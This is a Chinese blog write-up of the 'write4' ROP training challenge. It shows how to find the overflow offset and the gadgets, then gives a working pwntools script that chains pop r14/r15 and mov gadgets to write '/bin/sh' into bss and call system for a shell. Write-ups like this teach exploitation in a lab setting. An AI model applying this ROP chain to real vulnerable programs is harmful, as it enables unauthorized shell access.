Write4

64位

我们照常来check一下保护

image.png

依旧是堆栈不可执行保护

然后为了防止最后忘记这一步,我们先爆个字符串大小先

image.png

爆出来的数字是40

然后去ida里看看 有没有system和’/bin/sh’

image.png

我们一看就能找到system啦!然后点进去看地址咯

image.png

然后就继续shift+fn+f12找字符串’/bin/sh’

image.png

我们只能找到一个和它很像的东西,但是很像也不是啊,所以我们要把’/bin/sh’写进bss段然后调用

image.png

我们找到的bss段的地址

然后我们找寄存器来存这些指令和数据(一个存bss段的地址一个存要写入的参

数(这里是’/bin/sh’))

image.png

然后我们选那个r14、r15的地址

然后还要去找mov的地址来给寄存器赋值的

image.png

然后我们找到有r14和r15的,[r14]是代表r14的地址,r15则是对应的值,假设r14地址为0x0401809,r15里的值是“abc”,则这个命令就是,让r14里的地址指向r15里的内容,即0x0401809->“abc”。

然后就可以构造脚本啦

#!/usr/bin/env python
from pwn import *

sh = process('./write4')

system = 0x04005E0
bss = 0x0601060
r14_r15 = 0x0400890
move = 0x0400820
rdi = 0x0400893
#rbp = 0x04006b0
mov = 0x0400820

payload = "a"*40+p64(r14_r15)+p64(bss)+"/bin/sh\x00"+p64(mov)+p64(rdi)+p64(bss)+p64(system)
#rdi->bss  
#gdb.attach(sh,"b *0x0400804")

sh.sendline(payload)

sh.interactive()

然后就可以getshell啦!

image.png
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

  • 1.观察有没有system没有/bin/sh ,我们可以尝试想bss或者date段写入/bin/sh.,使用plt...
    Zero_0_0阅读 479评论 0 0
  • write432: 同样的溢出点,但是这次没有/bin/sh,需要我们自己写到data中或者bss 中,两种写法没...
    n0va阅读 943评论 6 0
  • emm第一篇自己写的详解题目跟这儿下载 参考文章 一步一步学ROP之linux_x64篇 五 写的大概是傻瓜教程了...
    Gaking_阅读 2,869评论 0 3
  • 在学习过程中总会有些零碎的知识点不好在别的篇章里完整展开,但很重要需要记住,为了更好的汇总这些零散的知识点,特此写...
    厘米姑娘阅读 4,903评论 15 24
  • 一、感恩 1、感恩客户李丽姐的信任,无限感恩,满满的幸福! 2、感恩这么多天厂家的帮助与扶持! 3、感恩查老师和曹...
    Zi_玉阅读 268评论 0 0

友情链接更多精彩内容